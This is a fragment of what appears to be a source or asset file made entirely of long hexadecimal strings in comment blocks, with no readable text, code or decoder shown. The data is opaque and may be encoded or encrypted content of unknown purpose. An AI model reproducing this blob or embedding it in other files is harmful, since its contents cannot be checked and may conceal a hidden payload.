2fe450339f98f33f73cf6d421a822c3daf5b3cf752aada296ed048c869a27bad7305f8e82c88d587389f3abd0368c0120351c9b2ca079347a5c4f9951a1cd5de74c27ad9df745ecffeaad8675f4ca124e84706eb90aaa0b722c363cc3e949d0c4dbb72c5a60a4c25e00573ffecaf448b331978131b678276ab8349d3bc3436396d7c0ce9c6f4ada69d33d80cfb2f454061d714fd973e6b2fdf8393009633bfe8d044fb24dbf6049037156698c69cb15e063f205ef4ede132003a948687d1d2dfb430f6ec975482cb2588bd636e9ce2c4fe2065993aa4d67af0ca0a023e56904f6a043bdf249311f01053e1a49f0bb0f087bde9228fc5b8b2322198e83dcec9391ba4165f40eb2223e19d9f1206c1799a70d51fbfdfe43d4394a99639c0c1cc554c362ce395c6116d25fead7d02a44f997ce2924a57f067691da501fea36d8da86b1da8cb4fb8e21b820b6bdbddb1785fc1702361bbc7d85c2297c630cc42e6ae22cfdf0c998039c457c5bf13028c483b98699808436c958863f56101becaafff11e418458c819068d409032873f665a7628b3e1035c29b84f508844339d40fe0d47ef924f91156b9cd596561feab45766f1913a0e6bf65fdfff9deb352b8dbd3c850d09c1da6c3ed74a5b4aa01e58fc3b3947ccb1432cc31c53981c5d0a5cf2248519646c6966b9895b236c79f5e2077ab3fd6b982d1cead39a441f56077ced43a37afb95014d6a79294a517de9effed061616cacf55d12a1c36a0a73d2558a1819b0e0ad62025af0215d886115b01fe949919d924e82355230ea4d9903db733c67a013f05651b468c3dceaecbca56e6bbd357c833aa4a7d18388c2050c5b472b4468f53a3a14b2507057f8aec85386e9e*/
/*4ec42b869298536be27ab62d3303211a9d6b633cfacb4bb1066c88566beb048d0033280d2e6f15f821acfb2ff7d138ff8e3c2f325134ee444216c838af0b2f7b6aaea1bbd3cfad1eea80ae3b9a67cdfc09fe602955c02484c44fe565a20ddd3d308fbcbe677a82003c7795a5b65ece06c71fa3d00dff6ec22f04998b4e81bf792359f490febe64e123b91b96432823402fe3a66c55ddbd671c36b9e9406861e439938f36eceb59086d89ff1c80377528530269f2be2c743bc5e50610aea0dca05fcf36c28beca0d4e2b50f1dac4438da4a560c025cb36d8d08a0264faf583dd2d94e774b8432be54e00ff619da8a3d904c7bd6c440ada3226fb92b6b95b78043bb0389e4690d9825c2d3be74fe239d7ef80954ca510b16a5fc229336844b21dd8fd4ad82092a97d91d313759e8f4c670b3bf46cf6a5e58f18ca0fcfb0531056272e9423ce0e5fbef6f03f05970c4c14a492e365e713a7c2b93c3b1a17bc535da4bd2b77c6cecbf3e03709d96ae1ce62621a34ccdd3fc4b2b0d920af73f3fd79995ca308d6874501227c0dd84161360f639cd377f06d9b83626ea5572877ea82b7c0475ffa5dfe9d04f847fc45926069e51d25270c88f3b1ebb150ccb56eb4c23dba728054609d31c8c2ab617364f8e7813759d81177060997524fc8f00c9a891a7b3c385f80beb6b121b2b7b43fb592d7e20d37e7761b7c8e05cfe36ef91d8448e485a62fe8efd482882f2409df438356db3422bd75b08bc196c384517c13bbb387e8d77a7a9a9771a77278551f4958650a6cd27264788e186c2a326a170541066014a1ce874a9159704d765c1d6f3834c550a998dfadd5b522848b10b88026e5c722e4384733de1f1520e395d4519f0337739d702f3e876ca724494dce3d38d29d9dd64ea12c92160213a3f202c376bc436907c192beae23bfc51208278deaac79febb31b2eece1611d3e6ceb6a2146445b4b5491a0a784398b2bfc1050ab1688f70190b7132aef259fd3658ea1677f90ff2cff1cf62b5b03579ad2aeae3d5b51122dccb5239954c4c96ed11c6593be1d1e8ce9b030a2d6a54ecd9ecced6346c73962deed7297a5ffccd568867755d1f4485163ea7e583ebbea8f12c56b260b8b08981d885e59df65caf61dec13f5faa7ebd227c3ae4383644d47685b57ae5b4a12cdef43a1a6a075a75dc83e920ab981e2dff9c3ebee6c15751d03210f3da18ba58085d356aab224a51379b7906f90bd0b4850556cfcd010c4c70a5973aa98f15760fc0e47f70b56bdfa25bdfb29cc32f7d1b2f4549c7461bdf3a219d36b0e88de464356f3f80f38b46675a29e147af47b06c8e40cad623af6ea3a7437db0e585351e9d915620547b5c5e7d45b0a26187830c21f2f53a026123e4b90232ea096a5a900df46ca4c6b83447eb1db4b9bedbb2f30554c9146370e36f4c6d6e40cd94f2a597e4035e8e77823d62cdbcde5f11e84fd25f6022b3873d7c0c9e52f83df0a4b1177105656c83f70198b5ac1dbe6606d88cb0bb0173b47a28e69dae8713eb408c511462387ab1003436f8a4e8bc74aa793ac7609880d5ce58231907326a69a451310d89530714c0e67066a0d24805b94c4c42fbb9c736e9ab6e685d6b8fb21e12acaf69debc41ae1e3a9913ce05dc4d84dea9dfbe65f96056f6f8f028e0f2c40501e9e47a1aa3b6fe1cf457eb4261ac4b484405eb9b6c9415d3cf4ce2d1d0e2d39c5d3d992e84bca6ad792a59cec413abfe89be8444925eca34bd5e1b5c2ab6982f83e635c5fba2461f94af5ef45b58afd6dca194f9116b31e37169a2ab94eb9070942ab0f96c47aa48709acc11a9796bf7f00632d125191121b9c22ea1e4f2073e673368708eb92eea751354e472b084f1ecea8a3fc760abd7d200f0d263bbf0ff4345ddc46b7ffcac20b11b7a416eee57698adfbb0e580d0c161c130efef313e8179dca822b83418fab0f72cf49425d0fc4d305091e8025f641843df7b977412998752645ba317bf63ac93424d76d8ea982c5491b34e3a22d0570f6660601e0883af6275c38c4c934c846315b50ade57b089f909b0eecbe491dd19c4dbe8c9b119df272605512683f751f714ab3d4f5aab4e64dbc416f116f002c1d466db7213c15781b537fb328b3da28d2601889092e40b1771c734cc1e124c6b6b2465842b2f5fbb0b5c14b5ba27644d840f92925c6a979694bfc73253114501136460fc949a8c5a2aab429dd58e78607a02f83d0b07cd1da86d96c3c05b0d1c8b95b2bb3f127c42fb5b559b2cd563b4c8fed93c548e7e2fd4beb286b82e0803dfb931415ec07e38d58538decca44b79663837619443fb1ef15767a11d9e1fcef503a14f14622c093c37f010410c5deb1e61970b10cd2963de70d76de5d90edc0e1b2f7ec9f5d4e1eb756852077fcfd8da404d28fc43e0067e3ee57af216751b5ae837d75116f83c09a16046fa1dc5be0270f8341203337e44fff00412d30cd6c7439e0485bbed2da87903c0fcfffa1b47eef7427b44bf7c808164a49e38269c859c5ee3e6809c19f0d1e6268417384c9f0c6d33bc07f4e0146d86656d8552d997b007c4c882687559164b70ae05a3599b777d72fffe28ed01b8318056fed903d47101ab388c6a01e38c53366f95bf317a163b2bd5d4d8685355970a133815d6e2ca07762347fd71c1789eecf780d1e9cddc2e5386f201baedd53cdb415c9f27b152cd65af5752bbb88e4a93897add3352d2b10f132723896e34463942a56e72a525560a9a94388dbcb0df983d2d70cfe5ef3c0c1cb4dfb4e4f31a0e759aca4d5abe65bce968332ecf2a7477503e990b65*/
/*6f2386a1a3a17cfacd9110893a5d7d3a0f85601d8bb2c24eb4c27f61d7cd9ffb96876577d338881c142204399b010915578295a27220eae831c4653ccbd81bb9780b2dd18452b4236078ed6a5a11b541084fb8f04c8455e4168f09ed94576dfd2ac89b9205019c1f8ffdb78902b8d25e2ff1eb0fc69782467ab0ad9046b25a5787b627b51a05ef65d922beb4aea398d13d110dad471c0ca998a4538f41b9e1b4c28fb9e460b13fcdb57618889ab1f74333f10898483b43997b34a0c0c114c3671fcaa89491837e5815be74970cc5e9e6c11450ae7c4eb24596b5167cd7537861535bb5d3b9d13a3f1658290e4c1ebfa9a4308c935d4d020fdf972f424942cffa445f55e94c8d5f90e591b5ea83a1b0ab35af6256075481dd63eded71c1e5a5674e84656542bf7e0a653233cfec7d95934376f657a533293c4ba62fe5b17f72a25c26414fea48a28b52ac65cb744c37fd2f6091fe201e201adffd0f934e085d209146819ed5e27548753f7a099d90692230b50f441ce0a862aa22b320e439daf1b47b67c243c0b9271aa4fa801a13d1fd90d23d4ede82e97e5a332ce5ffcb5c3b6480a0ecf5ccc9765d0379a157dfb40a31cd7e87aed7788167f816edd0f5957e832d9ecd8bdc73fc1cedbedb68b7a142dad97408fb5c62d1534057828f99d79dfcf3ecba43b6286b4430bf07f5bb4e68977e7a458bcce9ab634881894b5590654a0d017a9a0bcfce3eb62ce61d5dd1c5f1e41f375134732a5bfe9f7fa0d8f06e796256c8115ae84da72f10457c9ad40209ecef661a0ffdf07b68840d7ebd3faedba848b2665ce9157c843b65fc5a60b54014e5bd880a8fb30d2a3635324a60ad252d985ee8c3ba4845c80193274e3c2ba0c576711268eb9ee778b88efadd05630f344e3098f0726bf66e5836800f167353b14637d003968dcf3a471642c90e82748cf7bfa5c24904958fbe8cb442b348054b612d5a2002e2687bf38b1e9ddd4e34e30052a3176e527d7df0c6a2c4454f8e896069bdfed70c141d0a46cfaa923a47cb5f16fd690088ae5a8fb6a86fa91bcb40f51bf70a9d01d6743e5e9524f1725c371152b37ad43cafaa8cb1ed566ce2a6222642e6d71b15b63807941e0980591555ea805da42bfcf6386555d6ebca4faee3e1fc267bae9ca72f6ac09b033da73ff42d59080ab9be2e6cf6021cb00a9676490747c0ef6e678fad214b742ca1310844dcc5c4b566577c98267ff01bbcfa31eb1296b7625db2b8beb5086adf446c29c3b6ccd3173358a18eabf2ccfeb12f184189aed9d0d40e6f47238c92c61a920aee4c60bbb1f9f5dc259e039ed8a54bc5875a32bd9858619f60db093285e982208ae9a3199308567280f378a1b576154862af93d5fafab13b7e408d6fa3c532fe014adcc672009c938de152a3a4489b66a6f124504d83fe5ee8814c877703f1c72b2ebe97a987ae6eb55b01e98affca001264982b1d62af1fcccef886ba8b3f8ff6adb01d3da7f3bde2e73ad3c9c7d27a638029fde86e5be37e25e561f7ecad45a793d12a2129e7d0c7aa1ce549914f10238494c9ba6609939beae843a1947e6f46470f9a0c5ebb0455b3b1e5e32ef5a0a00723b1d14aac797244aee069bb4826855d8649a2b878d2067b341ee9a73b6afa65d1cbf4d0696e357797188a86668c49d2ce6a52365d35b7349cc3c5c1e6c0f10df3ac0366fd72b7e2e2f50bec02824517a1d4823ad9a91a17cb29a4b968d4cdcf5b129fb54f59ebce3d0ae7a214208269a644722dc8432257e2b59872bc111dc9749e5138094623d73cc678da5579ddda63876accdbd32ea6b7611f0893a13b063932586652d3ea3689d17f1329fac21e3815ac82bd6da39cdd1b2ab75e4aa67efae93c1edd5d19f3284fd82ce52c37a046fe10f9d637f1e02749def3dee331999d141584e86e821133f86f68c610a8fdb61610018273f7ce310133847d195383aea46e98d3932226c13ad7ea6b65670971c7bb58deb27923b9343d4897d836e307992b362ab42958b8fc9fe9c61a9ee607c9e11cb8adb45d7abeeae6c7498db5a94066cba77e009f6e4db5e7f6887b50de641a07a1d5d85a9d21a959886f94a78627a6bafe254d75e16c7c8938e88afda439c4ed9534c939639e3dfd67493f7a3e71cf3cbd7da60f40a69964bf11144dcdf0707243b117fc128b6fbbad1e2e2a317fae18cff77ab9f479ed52dd22c0921143cb20be68786047d5f3b450aa76fdb8c819ff92bfc09c4cf1e5cd37a3ba9fc416df5066d7c17b9272d19a489afb8bd95c7aa1d674154b16b27e2d55b113ce185a77dbf37243c520ee88c86edabfb0ef73a728b51aa9968bc3bc3d81e9ee73b03bf2d72f43fd3c0d85f344a49925b2d931b6250cc87c86a31b994210b20210d98e9d2692a7de76f2b37f6b572f0552e68e7db671bcc618776911065654786ef62917d539f92d43e4393bea878cd16238f1d2fdd6fa1a5596b9fe3e9369e5eaa3b54ca363376afdd1c9e749f0bd61b0ace6000041c1f1744bc07c59abb179595088748cabd747e7274109b52c138b6a322a9f0be1ec434309eaa0cc15f51559a0e0f0e77526772907dd7de04155bec0880d22306c076d3bc49246ed4589a1ebbc2130cc5abe8355d42f4ab103177ea48baa34af827cd4f83c5f06ddc482060dc8402d220214fcfb26b6a46ade74bd9e602bb9254aac86bbbbef67ae185eb1e355f7a25a467156042c589c5785d4d187e7d3c245579bbe140124109411696441a1786d7c37dcb17e6ef4b02e662b6caf9ec0fc4536c236b45d9d65d4480385fac73123b4353f9f588fc0a17772*/
/*ca7dc4c39aaae40223781c249f94df3a9b93f5271026cd4f6ad33b2111abe411c02c810e64758034e10ac407207cd1d5dba1558a55ff93d8e671048a65ae7abcfb1fa4bd9ca65a4b4404c322d844c01d1c103430c683d9d320dc4129e47a7ae60236fc00df95a60dd7ee0c8fdea386e5f7319b6600eb3f323bb1280becf64a41471bb2c8897ed5402d23f7a9033ccd15313f46934029bee8125b2ee2e8b2c391d8a28625c2774e5626cdaf901f2065cca8a0570e5801c8d6e45ba6bcfe7dc5f12d872950c1238c492fb7587f7b0f41cbc412e4ab977507ae7b4499a32ff84238c5c0fd1280a180b14f3b747e1e24a86c6284967b5fdecfb2cd4c0d35f231eadabd4cb7b82d39352c6b455be53ca30a485ac74bc744779654d636353b8ac55d934492f570e9d2dfbb7c13024dc649581b8d4371fdc87780c0c52c93195180683acab804a3cee3d6567747255b9e3f9a2d993e9b583950303b2812a8e4cd2fec224f5a5d7788b2738c098f435517df7a8ba904bae3a62fb4a536bcabfb12fd8e860f2ded82d2300e3766e3bfbac89826e9a1ed9008665d31780725e93651bdb58b04a24c19cf38163994fef672ec57026e239562bf5ecfda1bb7b27977d61e0d1d40f4269d0394d8fef8948983bb597b5de41b059ccc10c22c3ec48115ae3fe950557b76dd15df7646f280f01ab99e1c520b41d9908f193529f2813243141c254fb0ef52331a6e7f6836bab60eab5eb3b5382eb21bc8bde1c0d5d6417104a78cd250ed1bd29a5c3e72b4df72a364da3e0f721b19ebee0661d46aea282e6e1e82e4d8575fb760c0d8b2b648ac43e2fd9e388915ff924851f6708bfcbaa50a10f8538a3364bd447173e4d85c913d14c152c38cee04b5d1f75e0cb6dc2f50470a3ef848c85c1da4b5c6b4af4a5f4fd04ce64ef4f1927ec9378f25533e1792d7cb519651a6de3ea565bfaf363bda034ab14db02ffc72999c79c321f9ba23d2ca303707388eddf78a99f901327a703d30b2d3bf36c2b556d61c9b5736d6082fb40399de170e11ed96f512f2cd3378ef64b4b158bb2b9eed352f3f0a3362aeb31d3af1f675cf2e9e95523a286684a4d985d2afcaeaa96bb20ca1b5eec70bdb5f37c2a7e073148fbd40e1586ca04e202f477fb232fbfdf9b47ea822d42c35b6e086344a323404134bee54d97fa7e4b41565bd24bc24e031799e5e6d3bcda16aca28cdf1d228b815621c0c26ccc2ad18c6fa86cffbcae774069321516d2eeacc08225a90148f3f15c6ccff96b7a7e2a9ce3cd02899f175445b9e3a5ceba9cf21a4cb727539c9fa0ea1c922313c769607c997a71f97fd6064e124a5ba73e4db39594340d23257c96abd47965e3267aa971f54f3055799920085ad8f4e973ae000c33e4ee9e0b4745bde22582f04b45ff953c0369255f25aa0766a4cd186af688a022fafe4003bb55429dda7e65f3fb069315d73f073175bcb1eb47839b440b3e91b24a055692d9be8f285ddc563c785ab316fe50ebaa5735aff91937978b00d7c803eccc6a334fbf39fdcf9961025b9847dcf4086af36bc378ae5bebde0f3646ae92691be6dfae7bc10ba19ae779f64b96b76c71503f412c73995389d4497bf8c86c822823ebf18a3008d634170e08d8ac24024dd5ceb344ad264da29b257a7e9f1b2dc1530a2ba02fe710b438dc1e562eeb0cfd45c152db0443121b045056fd81e3c376a4377562755a615feb1771e6864a1620575675eae69152fb233dc7fbd50c09942a01689e9a579dcd3ac58373d55b38a5a39bdee8ddebd909f57ba8c79be6cebab79c0e0159abef5d5f6894eeee7a6eac6b5ebfff79584e785dff0fd6256b4c68d5a2c2d97de331e65813275d752987a3d450bd39c02e6538d4a9517203c01b7b7f21e0c8961cf41db49951d4ecc5c2e6153077fde6d71be39de4759564cb38b93356cae8ada1a8474797553d5b8b64154d4731a5c664e4317e1b049bc3b514ec1b9d688836e17be0d37e28c227f50651143e0054e8a8ebc214353b7a4d225349b7847084995c50e9a8b8bed576acfb9608b95cb2b7ff17939be6a1a82f8bb5a565c0eb385ac94800c06ea82c474d38894681c51908487fdbe697a3721e6ed5f5ffabef120c2fa4d6174ad131fcdfc55a86900427149fb8885585edd72d41f7d4ccf21630944e8d983eaced96a958cb43b0a7bc686f227ae59bb171458e91be2c6b6e81bec1c542d64601116460e79aad853b9a6cbc90d690912afaad3ae35d16c54a918712f4dc64bde53db3f901f25738f7be31a24b609af95d59fcbe61a730af42ae411da1bacabd579e60d0badc4d7950b0ec9a5b3b162b5ddf522f9b8a0ebf00a4664b6952a54680dd49b1454c4c9c1054524a6cef213243af72bb8c6ef8a4fd3cbea4afe85962b27afabdcc2963ed63bf5748f7ef67bd712754907c21e18ff07d55e8e3be98992805c4bc1990fc0be2ab4b403f01f373308b13469168544ba9408887c636f7c68b837407fcc5b27921e44cbdc5495027722265b85e7ee678c685a3696393f892dc8f5b0c63970f9cdc7c5655b740363954bb89d7011e07c29152de1872d4fa52bf68d0cdc25132ad3b1aa2aa0e122302f6d611d506a98fc5ca9cb2b18f647b3d3a425bdc5e052ab007385fad84fc48e056a20a9d5694da7608eb0e0b7b7ad45a64ff1279ac85de1ce3b27a18ba52d0c3fbae197aa9d5ace7cd447b1a23b47b910face6c02b99012d74a0e451b499401725f9c03f7338650b15c3743431197c5bcb29f12bca567d568d00f6f688a6e1444b7d6609eb811a816c0f2aee0c772ec142f5dff756ac0ad6c*/
/*910fd57c4e42fdbde7517322e47a9ed16b423a18fa6e47a052ceefae03da8ec16274bfaaf63620a262c844d38af2476e07e858ffe1dc87b9ca3f2f2bc48a19660a79aeea07aec7f66fc78283ca4ae063def5e7ed87f2be3cd7a345b875a49c3f0e595bc9b57db62556aa3ec34b78c3cf5605e3e166578a0846c3425ff8061900e9904ec876e21ae30d171443e25e8b26d28a0b0a0f80ef8726ac2062003f5e93fbb730a15be649962ea28fc23ee15f869162a46ac3d188006dd12c5bf82330649821646e12175d22efc7e6e905022802d5e596b98bf269e32dcce2e51a6eed9f6b2ba08cf487cc1c1b8c7bfaf9766884c2971038fb162d84f655aab293c343a9c19fd0d23b96398c699b24fd7a6537dbd3e4263fb7de92a61c058be2188ae37c1bb9c00623fbcfece801c2dd8bf7b23e3eaa6c6e974f698be564991c35a454eee08f2cd949fc1be0d456335042f5e124620308444c3b2af0a998abf1e57def818d44935447b6e838a135be890df288a0ecdd2cd7805b6501f26b5166808e139f99d5816cd464b5c0156bd231f672ea3e6ed140a7e91af84c62112848c36f858e45b73ed04f5b94012cdaf154d7a34d1f32e62f91dd689a8c8d875cf53a06f62ccb92484f356f37b4c7929422e7128e488061b1d1eb63a492e95c1ee95d4cbea6dd5bbc93faa2b63683affb263bf86ef2b4409a61617a4ba7fecf79270adfe2d24210b015d0d52fd85fef10f52bf8fa29ef7841950cd38ec4363df405afc621fdc7cb76fc569237d36ef1aadbc22f8e2e7950c62d975dc668709ca85086635183994bb6039d8fcada794c78b7ae9a1504316877a934c8ecfca268118f620629f9251b75d746abe7b008be35faf2220efd569dfae84ef8da42d2ed91b1d83e7d031bbc0458980dfd0d792be43ec5c46945ae282ed5672c998311bf560d9911a6de314caa7f07d6c9ecc30ccf03587f9d03c99d0ec5579515bd73b69dcd96d918b9e547d35afc86be832668e9feaca13014fd6bdf57f6970f7c402385ad7346d8e0f496806e6f28a2d4a54dd2a4b0659928506edbe773357ec113d2a7d528ab49d1027498bf1090c36821299ed01c6445c73801adca5a8d2dec4830b39342b7a4350cc8a006c4146777eda0433edb0f3a309e848bee1b3596ea712ce39ce1412d48eb207771eee50a1897bcbd79f3daae165f9e0aa8343101dc17dbdf78e4910438a13b053f1f87dc8cf97d142a59eab6ca25d842c8f6a916419b96367188edda98a2c25bab3a8d7b02cb5fbc42312111bad05fc7529a0c7927ab93f2d5a332287294f18f2b4e2e87459243298061c58172e4a6e0ce1aac27727c952fb42ed99615e01daae0feb960fba606457f905894525a8766ef77f22c79dfde6e7747e6aa380b83dfac6ab4ea4cf037e4b758e409c89f3f56217d4eb45d4c9ed7da1d8dc0bad8308f227408c07dfecd46a1b596674a09fa4e3709979357b9fe447c4a08a9f1c5496cb5d51a39d9db8cfe94487012aab2ee3fd3d633eb20669f07ab83f1efc1009d9e88bb479ce73e60e3520de27f9dc82324928aeacdf0abeda3a7665bb5f1467ab8019744e7a5cdd1a5d5afe8b211b8b4e93d090d42c4e7696d958fada2e199566334fddaa3093aea7a50328b3385c009ec15668f412b123b62043f2fc73f4cb7322111b347bd3f66de3eeab4202d99d6bdacae69ff983aba13031e53815a360e7d96d0b386b88263b81e54a029333af2f3e2a9cc1ffa2736ffb1e9f50253223718c10c271378b073e49e90e024a3c879d1c5390a10bc85af179247e95834a919efe1a041639b87dbe5e2b21f79cea5c5dc1766c117d37314b9e8d98e9c5379053031d8eed2edabad1906beb96b34d87ffdb5c40ef94ef4476ae69c5971ae10ad93692cdc47dde80096d5995180f734d32d9b2807cadcbc63b252cdf7d0331d2f7c4f3bfb17d67adf43a81e692de0690c5e037bc0854af96d2c5093e144c4da3fa7ae5a3a88859ef763abf9bfd48af77c7924eb3e6f7ca738fa9f4112d2a74fd580533d791ecd4eb0226fd3642f32b3aa6a0d036f46affe04d6eb47a427f6b06e0d64ce090faeb46ae3d4acffbe6a5a55beb87c2599d92682b49dbce64552a600e75ca4f7e2098bd39758cfee56cb6c5788a72a0371ece5f7e9051f02bbe398ca34bc7adf56d2ec555039253535fec75dda16e5964aa50ea787388deb5add4db43d2834b28e1e38e35508292553d63f91e187d8a3a99bce0dfe5d64ea19f9ff12a0fff87201cb24bd18bdfcad735d138bb2efd029fb02618f9bee3dc8ef99cd2c1072adc4be196dbd253ba371287052344c44a1be379b0d41ee058db35368f0e67f152c7d9f47313cdb11c6ee21c400d2902e5cc2485e1afa45ef3a3a16b6d98ba4d6c0eb6e1eccbbf48bb5d53975f6d3406d1a344b4da75f64104c31825352a3f6bc4bf8862fa27a89a0849b164b2316d1b835e87edbc8894a7defe1821957211c6238ad9e5b7bf6d1cd2dcf38794d8939406528a9212501fadeb95d0d565e0da3cc271aed9c9d3b1a5948d2adba297340f7d6f7f34c0a01199d957886df81b0482b3c26eb5a7e44474d00ca0e165662c68090e309311e984d617360b959f56ba8e94c8b74be7bdd4cd57635e549e561d24399ed2ddfc879edc77bf55f46e688123bdfa317c49e0fb6389afa0a6344efabd24772afff74dbc9ba44388a0195dec95dfe94892cca6e9764462f6622678af5da42b72807ea64b49931bbc7308e3b1181578206baa8a92b1277330c073ae0e903619875c2b6004ae6a28a111100ec0127557975ae272179030d659447*/
/*193128a0f3017fbed01e601a6668907bb7bc0f2c9eff21019f82a340958dfc19dc506dd5d49a36a3b414273f8e84d89ec067eee412995e679016bf193ce9a9195c94cc2d5d09c4774b2c3cb9e26d9081d6424935eaa503efe377e5608d05bc64a6c28337774e0ff797a5fd298fce88bab9c4148be3ca6bf4f508d2071405f7d35abff56b134a5608a44d2a4efa1b23b4778d649b31ff75098a1980f278b697118ce4bf520ba404e35cf4ec2af10033295e34f827b588a5d4a128cc6c622f8ac7d2d7887fdd9f91ac868f6a98db11cbbbce05069a9e18424e7b8f38cad9d836e2f94acc69f10a6e0a79a58a5bfbcb2d8481d91712ae6418616f8a7b75f35934d4f40218437539a497445744e7a74f3e20570ca636b18178126b45ec0e21ab08034e77177db383f915d6ff78375aa978ce5bc3ac18a92a28f481384a3c4d8dede60d1dec60d556c5e4d84b0a1139229fb2627895fba8b18621c0f1a72af2270ee33af2fb9e2e419cf1b2c49894409a1a039cc7bf86bb42c6c5e433c0e5349c83fbf52b9f1906e1a75cec91bf2699ef44f269104a7fa1d6902a98244e6b2cf1f820c0c7015baf407786dde18a37fdaf036132092263508444ba23c4c7b2d0487e93cf1e797c4efdd25f2189abf602339c89676ff429c700f680d6ab524796a7c4697662f1f6da2f21126a5085317a47a796557dee9dae4d5ec95499099c8781501ba2a0af8230964b111d9129406f7c76e45cbc48e1a72dcecd03401504f757e91c33e7aef462623dce78f83dc014be6e988651d7594783ebbb7fd75ac271b6c6702f28f462f6c492331a5649123120937ba058ba0e38b19675aa02b134b0790e05f04e1ef653671acb945d86d355fa2a0e090abe6cd061f12e2bf1c58349eec8bcec3f630d8cd22deadb4d747b2c570b42588e85401e6c02f6bc4af18a0b1eb5364b2b84fee5ce7f21267b1d0ae98d92ceee8af91e0ef73e5bac9de1f86653571f8066ef7d6de6aaf067f35bb485c3a0c9f18fd983e05e2e8b7e40096a925ac03b35841ce9bf79dffd63e23b951bf6d7f1be31beb8c431024400083848cb53b3786d6c0751c2dc10eb3e8ae70e8c2455febc034989fe163d9bf167378794b4ac84457f7b28b2dcead4e160d5475686f854d3e3e6bd60901cc702d34138c897441a3e945bb0bce64c9c9a5d17c2ecc63384b2dc9ceec96022673992c28139338a81117890c305a0d8c6b47c617ace946c9b7c2c2313e886e00ddb6697bf160a958a3fe2e29b07e3f7a600a7f5edd66185d0782d37677896093419edfc39714519b4d4315ed6ebcd6b650474d1268f3f59d26abcb16e8f275562679a3b870f4a2e857b6a66af18b1c8c8bef250f55cf232ae2af03aeab2c83ac737b4435d88006638f850c21da9d06ed250878ac6d81d570759f1e8fad14822a0b6dc9e93ab2140c0ed73a131088c5f2924f60381840fbe570b4f7a6ae57e8967e18b71432b1382caf496c52e6b37288544d278110a945df46346553a49e19c8c57bf7efd5d9b59ea82f1068c8a6431a40ee4b2088355dce778575fa0c05de1870b1e32484fef9c72ce045afc50e87d4f84e395824fe80bfd95fc2a8b6c96007d1406ff900f4924ad6b064cdae534ba88f38de81c198d98619885f96938ac1960f21db77fd7bac38f180cf24c01d96365118e75fd649dbf4c74689829cfa420967a1b824094c93279cf9c0aa74cca0d540d0eb789ff9cdd582d4367c19fc50c1bcb2f9da9399f363fc284b6569f7027e18f22e8d5e8c083011014b36fc00e45564b07ca4b4fa42a32bc6318b89e84cd5455303d1f6b6d9c6e430f9ad0e1b5c30b81c2576d549c23660c39c845a6c357cc901f07c9153804a01faee3169e3e71994816d80eb2cde333dabb7700c861a16e9433be3c73785c22169c7d31a2968f2b4036b4b5fbf2fd3b2b21bd6c79f60952774a215c6286633a81ff385bbface06b2d0e5e902a4e2c9ab19328706ce249e2d3ff862f932c75e5d014e088f0f93452c36eb19b598fd63ed30213572d5bd68f9b72d3574bed6619edeb477d7e1382d943a2283d18f5d77f4b9f5aed81e3d747f02b6c49237748932c7f66e1ace61f47a5d00411a101697a94f943fd4ab60918d38b0da6cc94151230f46934a1dc9a24eaf5a4ca4f715af760d070641f304950e18dad9fd619e0fce9bfef67bc85e5e31f94659338cb76ff1b2e7afbd723cb652fceaf61e0b36cb5f279c018676ba910dfd01645921d1fd49fefe983a14768c0f8f2b1c75f44dfac643b5c0f3c66bdcec40026acc7a243e8a779e95e60c77a9f2f5165b57483072fae13dc3fb58c27dbf46f155643f37d9f94ab431368e240100406b3e0f96c9fa1b3352cf55ceb97cd55f9ad483467dc6fd2e80ffab014217ad395267a87825114a2937f7557372824e5e84822bce817f0baace55dd52224b4b1c0dc187d3d20da9b7f83d78dd2b408857c17d9fddfdfcfaae5e36c10430844df254b7272601f0505eb719db8715ef3b3e77c87835ec539eece81b65fb9a4a57db0783d17bfaf83e315f92df76d6b77d4982cc7b19fa912066c0147d5beb821bcf14cb6d0096f06270dc2e83a25f0ec5833735319c13e7910a43895e339235ce64335f4ebe3842459c0b40a4c9859c1b30c5a7013630c6e4ad91991104f2b078a29500eb02bfbaaa48c0cd722f04925ee02e64f97a98f77d5e4403fc8c0092820da30b18cb4524298ece8ab878490312e4b8438226619dba0f0de9103391de1247da0c595b9c257c6059be80cfdf10addb3ae95d3625c60df5167c7a61cad85a06a97d9daf97609*/
/*a81f5af45b5a240e6010b40c04b2c8cc6db42e8a045dd0417ddd2049db42ba60110428df6aa89066e351e907a9ceadf521028ff3cb4d1575e2a41d779ad07b281fa4830ee86490bf406659822030d93fcc4df9a1e0bfa2109269c0796acdbf1a14ca58c5be51d63d7f7f40b7e4436a5f1436de3eaed3c5b4b6fa0c6656a02af040e755fbea6ba2c785468748c4f11449d939153a64d6b681969db174b0e93be3cd703656ca856a42b71b9793ebdd254db75208b645dadf3b58ba697edd33c8715cf42b37f8838cc83062d312db10aa529b9695b64df3ba2dba30d1562ea735b6dac25589c60d416e4ffe73fc0faeaf4e6f0a057c9ef9069243b306175e23444e8c0d0df742235f23053f3e2855846f6111a3e1ce588958137255ee841a5854c259f2c744fc740e37a1726ee14df2fa5462a521a6f42d928360a08d781bad5bc0130d8cecad8e7155f55b37bbea698118c26f2203e73286e4ff7889446e995285ab19683bfba561b91c2bcad3d1a3a872e5c92e948dba0fa9b3c79a95a5b675097bf4ad769a42092a66827cc6d25da104cfb71e7099020f81d63db9e0d0b0edda3f3b7f6ba13c14befa582838a6aa3bca26a418edd62cf99770fefb23140a8cb89270b16a84cec1ab99c4737fc743522331c646a3ff73ed6d0b54bf2d57c087b8c13cddfbbb738658375f80ea36df9468001ae8fc3ab798120eacb4f3dd227790ad2cc32b5b0f9b816d5a9f5ecf02e0d9a207860a6962319806633052011ecf8054ab4ab399ed4610f179419e374fc001d4a991e11442b38f710a793539c35070bdcfd809469e2b308aa32ed682653829131b0f784088b19a987a5c0ba118d9ac6dc8cda69ade3fb898997326df9ab1ce138b67426584184eb0b9140d5a7714accfe3b872baecfd915e554eba0f1130a6225787d4235959492f876b95a2b9555332f04b694b18405ad50cc3a1328dcad0b6d303cb92e6637a3fe90807f60520e98056bd97d82877a6ab96019a547553e52dccbff5173cf015c27d3a732538a8423ef7a6c7f80476129f0219d4f573e8eaf46083b9dbd96b0f42fd985d5650efb78052d2a894c7cf2aec0bfcb44bc178d0dc0c794b44a1efea760810dd9671e2a37e6aa4c3d5162f53978c343efbaa5203998ee2a4488d5d7744ddd464b4c4576a02b103bc9e5a98903f41cc5a2a344cf04bbda55ebac1bd5302f2cbbd873714056db07de6eda8cef3c2981207af6f943d0781137d717a3f6840fb4fd9976eec3e2310a65d8e6e31424489ea430303c7e889b6ed0a8e5b3fa78072739b925bb8c8cfb90ebf643966dbf7523bd0c0248c2a3bf9d6c0f490138dd27d9c7886